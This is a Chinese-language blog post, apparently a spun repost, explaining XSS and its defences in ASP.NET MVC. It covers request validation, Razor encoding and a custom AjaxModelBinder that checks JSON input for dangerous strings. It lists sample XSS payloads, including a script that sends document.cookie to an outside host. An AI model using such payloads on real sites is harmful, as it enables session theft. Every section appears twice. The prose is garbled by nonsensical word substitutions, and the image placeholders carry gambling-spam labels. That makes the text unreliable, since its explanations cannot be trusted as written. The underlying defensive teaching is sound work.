Web安全息息相关(一):跨站下论攻击(XSS)Web安全相关(一):跨站脚论攻击(XSS)

by admin on 2018年10月5日

简介
  跨站下论攻击(Cross
Site Scripting),为未跟层叠样式表(Cascading Style Sheets,
CSS)的缩写混淆,故将跨站脚论攻击缩写为XSS。恶意攻击者往Web页面里插恶意Script代码,当用户浏览该页之常,嵌入其中Web里面的Script代码会叫执行,从而达到恶意攻击用户之异目的,比如取用户之Cookie,导航及黑心网站,携带木马等。

简介
  跨站下论攻击(Cross
Site Scripting),为免与层叠样式表(Cascading Style Sheets,
CSS)的缩写混淆,故将超过站脚论攻击缩写为XSS。恶意攻击者往Web页面里安插恶意Script代码,当用户浏览该页之常,嵌入其中Web里面的Script代码会叫执行,从而达到恶意抨击用户之出格目的,比如取用户之Cookie,导航及黑心网站,携带木马等。

有些场面

有的观

  1.
恶心攻击者可在私有介绍中插入恶意代码,那么其他用户访问他的个人信息时,就见面实行恶意代码。
  2.
黑心攻击者可上一首稿子,取一个掀起眼球的标题,在情节里安插恶意代码,那么用户查看这篇稿子时,就会见履恶意代码。
  3.
恶心攻击者在片看好文章或帖子里的回升或留言中插入恶意代码,那么用户浏览到他的死灰复燃或留言时,就会尽恶意代码。

  1.
恶心攻击者可在私有介绍其中插入恶意代码,那么其他用户访问他的个人信息时,就会尽恶意代码。
  2.
恶心攻击者可载一首文章,取一个吸引眼球的标题,在内容里插恶意代码,那么用户查看这篇稿子时,就见面实行恶意代码。
  3.
恶意攻击者在部分热门文章或帖子里之过来或留言中插恶意代码,那么用户浏览到外的东山再起或留言时,就见面实行恶意代码。

备XSS的片只级次

谨防XSS的有数独号

  1.
付数据时,就对准数码进行求证,如果带有恶意脚本,则非为多少进库,ASP.NET
MVC默认是碰头举行这个证明。如下图,如果准备插入恶意脚本,就会见沾一个HttpRequestValidationException。注:图2红色框中之法门后续会涉及。

  1.
付数据时,就本着数据开展认证,如果含有恶意脚本,则不吃多少进库,ASP.NET
MVC默认是碰头开此证明。如下图,如果准备插入恶意脚本,就会见得一个HttpRequestValidationException。注:图2红色框中的方法后续会涉及。

    
亚洲必赢手机 1

    
亚洲必赢手机 2

                  图1

                  图1

    
亚洲必赢手机 3

    
亚洲必赢手机 4

                  图2

                  图2

  如果我们得允许下论入库,可以在相应的Action上添加[ValidateInput(false)]。此时恶意脚论还非能够产生威慑,因为还有后面一个等的防范措施。

  如果我们用允许下论入库,可以以对应之Action上助长[ValidateInput(false)]。此时恶意脚论还未克来威胁,因为还有后面一个阶段的防止措施。

     
亚洲必赢手机 5

     
亚洲必赢手机 6

                  图3

                  图3

     
亚洲必赢手机 7

     
亚洲必赢手机 8

                   
图4

                   
图4

 2.
输出数据经常,对出口的始末以HTML编码,恶意脚论不见面于实践。而且,MVC的Razor语法默认就用HTML编码。但是要是我们下Html.Raw()来输出内容之语,恶意脚本就会出威慑。

 2.
出口数据经常,对输出的内容以HTML编码,恶意脚论无会见于实践。而且,MVC的Razor语法默认就采用HTML编码。但是要我们以Html.Raw()来输出内容的语,恶意脚本就会起威慑。

     
亚洲必赢手机 9

     
亚洲必赢手机 10

                 图5

                 图5

    
亚洲必赢手机 11

    
亚洲必赢手机 12

                 图6

                 图6

 一些黑心脚本

 一些黑心脚本

  1.
大概的弹窗或者内容显示。
  <script>alert(‘你给黑了!’)</script>
 
  2.
导航及黑心网站。注:这里只是利用百度网站作为导航演示,并无是说百度网站是恶意网站。
   
<script>window.location.href=’http://www.baidu.com';&lt;/script&gt;
 
  3. 
获取cookies。
  <script>alert(document.cookie)</script>
  <script>window.location.href=’http://www.example.com?cookies=document.cookie';&lt;/script&gt;

  1.
简便的弹窗或者内容展示。
  <script>alert(‘你给不法了!’)</script>
 
  2.
导航及黑心网站。注:这里只是以百度网站作为导航演示,并无是说百度网站是黑心网站。
   
<script>window.location.href=’http://www.baidu.com';&lt;/script&gt;
 
  3. 
获取cookies。
  <script>alert(document.cookie)</script>
  <script>window.location.href=’http://www.example.com?cookies=document.cookie';&lt;/script&gt;

 $.ajax数据证实失效?

 $.ajax数据印证失效?

  我们设我们的需是匪允许含有恶意脚本的数进库的,但是咱以了jquey的ajax进行互。

  我们要我们的要求是免容许含有恶意脚本的多寡进库的,但是我们应用了jquey的ajax进行互动。

     
亚洲必赢手机 13

     
亚洲必赢手机 14

                图7

                图7

     
亚洲必赢手机 15

     
亚洲必赢手机 16

                图8

                图8

     
亚洲必赢手机 17

     
亚洲必赢手机 18

                图9

                图9

     
亚洲必赢手机 19

     
亚洲必赢手机 20

              图10

              图10

  数据或者进库,为什么呢?我们来钻下图2吉框中的章程。

  数据还是进库,为什么吗?我们来研讨下图2开门红框中的道。

     
亚洲必赢手机 21

     
亚洲必赢手机 22

                图11

                图11

     
亚洲必赢手机 23

     
亚洲必赢手机 24

                图12

                图12

  从图12备受,我猜测MVC会对Request中之以上内容开展求证,可是jquery
ajax的数目是存Request的Content里面的,因此,默认的辨证对jquery
ajax并没有效应。

  从图12遭遇,我猜测MVC会对Request中的如上内容展开说明,可是jquery
ajax的数是在Request的Content里面的,因此,默认的说明对jquery
ajax并无力量。

 $.ajax数据证明实现

 $.ajax数据证实实现

  要针对性$.ajax进行多少印证,我起ModelBinder下手。具体代码如下:

  要对准$.ajax进行多少证实,我自从ModelBinder下手。具体代码如下:

 1 public class AjaxModelBinder : DefaultModelBinder
 2     {
 3         protected override bool OnPropertyValidating(ControllerContext controllerContext, ModelBindingContext bindingContext, PropertyDescriptor propertyDescriptor, object value)
 4         {
 5             var contentType = controllerContext.HttpContext.Request.ContentType;
 6 
 7             if (contentType.Equals("application/json", StringComparison.OrdinalIgnoreCase) &&
 8                 value is string &&
 9                 controllerContext.Controller.ValidateRequest &&
10                 bindingContext.PropertyMetadata[propertyDescriptor.Name].RequestValidationEnabled)
11             {
12                 if (IsDangerousString(value.ToString()))
13                 {
14                     throw new HttpRequestValidationException("在请求中检测到有潜在危险的值!");
15                 }
16             }
17 
18             return base.OnPropertyValidating(controllerContext, bindingContext, propertyDescriptor, value);
19         }
20 
21         /// <summary>
22         /// Refer the method "System.Web.CrossSiteScriptingValidation.IsDangerousString".
23         /// </summary>
24         private static bool IsDangerousString(string str)
25         {
26             var startingChars = new[] { '<', '&' };
27             var startIndex = 0;
28 
29             while (true)
30             {
31                 var index = str.IndexOfAny(startingChars, startIndex);
32 
33                 if (index < 0)
34                 {
35                     return false;
36                 }
37 
38                 if (index == (str.Length - 1))
39                 {
40                     return false;
41                 }
42 
43                 var ch = str[index];
44 
45                 if (ch != '&')
46                 {
47                     if ((ch == '<') && ((IsAtoZ(str[index + 1]) || (str[index + 1] == '!')) || ((str[index + 1] == '/') || (str[index + 1] == '?'))))
48                     {
49                         return true;
50                     }
51                 }
52 
53                 else if (str[index + 1] == '#')
54                 {
55                     return true;
56                 }
57 
58                 startIndex = index + 1;
59             }
60         }
61 
62         private static bool IsAtoZ(char c)
63         {
64             return (((c >= 'a') && (c <= 'z')) || ((c >= 'A') && (c <= 'Z')));
65         }
66     }
 1 public class AjaxModelBinder : DefaultModelBinder
 2     {
 3         protected override bool OnPropertyValidating(ControllerContext controllerContext, ModelBindingContext bindingContext, PropertyDescriptor propertyDescriptor, object value)
 4         {
 5             var contentType = controllerContext.HttpContext.Request.ContentType;
 6 
 7             if (contentType.Equals("application/json", StringComparison.OrdinalIgnoreCase) &&
 8                 value is string &&
 9                 controllerContext.Controller.ValidateRequest &&
10                 bindingContext.PropertyMetadata[propertyDescriptor.Name].RequestValidationEnabled)
11             {
12                 if (IsDangerousString(value.ToString()))
13                 {
14                     throw new HttpRequestValidationException("在请求中检测到有潜在危险的值!");
15                 }
16             }
17 
18             return base.OnPropertyValidating(controllerContext, bindingContext, propertyDescriptor, value);
19         }
20 
21         /// <summary>
22         /// Refer the method "System.Web.CrossSiteScriptingValidation.IsDangerousString".
23         /// </summary>
24         private static bool IsDangerousString(string str)
25         {
26             var startingChars = new[] { '<', '&' };
27             var startIndex = 0;
28 
29             while (true)
30             {
31                 var index = str.IndexOfAny(startingChars, startIndex);
32 
33                 if (index < 0)
34                 {
35                     return false;
36                 }
37 
38                 if (index == (str.Length - 1))
39                 {
40                     return false;
41                 }
42 
43                 var ch = str[index];
44 
45                 if (ch != '&')
46                 {
47                     if ((ch == '<') && ((IsAtoZ(str[index + 1]) || (str[index + 1] == '!')) || ((str[index + 1] == '/') || (str[index + 1] == '?'))))
48                     {
49                         return true;
50                     }
51                 }
52 
53                 else if (str[index + 1] == '#')
54                 {
55                     return true;
56                 }
57 
58                 startIndex = index + 1;
59             }
60         }
61 
62         private static bool IsAtoZ(char c)
63         {
64             return (((c >= 'a') && (c <= 'z')) || ((c >= 'A') && (c <= 'Z')));
65         }
66     }

  然后在Global.asax.cs中注册AjaxModelBinder。

  然后在Global.asax.cs中注册AjaxModelBinder。

亚洲必赢手机 25

亚洲必赢手机 26

              图13

              图13

  那么,输入数据来黑心脚本时便会见吃检测出。

  那么,输入数据有黑心脚本时即便见面受检测出来。

 亚洲必赢手机 27

 亚洲必赢手机 28

                图14

                图14

  关于AjaxModelBinder中的IsDangerousString方法,我是从.Net的源码拷贝过来的。

  关于AjaxModelBinder中之IsDangerousString方法,我是从.Net的源码拷贝过来的。

 亚洲必赢手机 29

 亚洲必赢手机 30

                  图15

                  图15

AntiXSS第三正组件

AntiXSS第三正组件

  如果使用.Net4.0和以上的版本,那么就非需引入AntiXSS,因为.Net
4.0已经把AntiXSS集成进来了。如果是别版本则用引入。

  如果使用.Net4.0及以上之本子,那么尽管无欲引入AntiXSS,因为.Net
4.0已拿AntiXSS集成进来了。如果是其他版本则需要引入。

源码下载

  为了方便使用,我从没使任何数据库,而是用了一个文书来储存数据。代码下载后得以一直运行,无需配置。

  下载地址:https://github.com/ErikXu/XSS

  亚洲必赢手机 31

 

章转载自:http://www.cnblogs.com/Erik_Xu/p/5403773.html

源码下载

  为了方便使用,我从不利用其它数据库,而是用了一个文书来存储数据。代码下载后可直接运行,无需配置。

  下载地址:https://github.com/ErikXu/XSS

  亚洲必赢手机 32

 

文章转载自:http://www.cnblogs.com/Erik_Xu/p/5403773.html

发表评论

电子邮件地址不会被公开。 必填项已用*标注

网站地图xml地图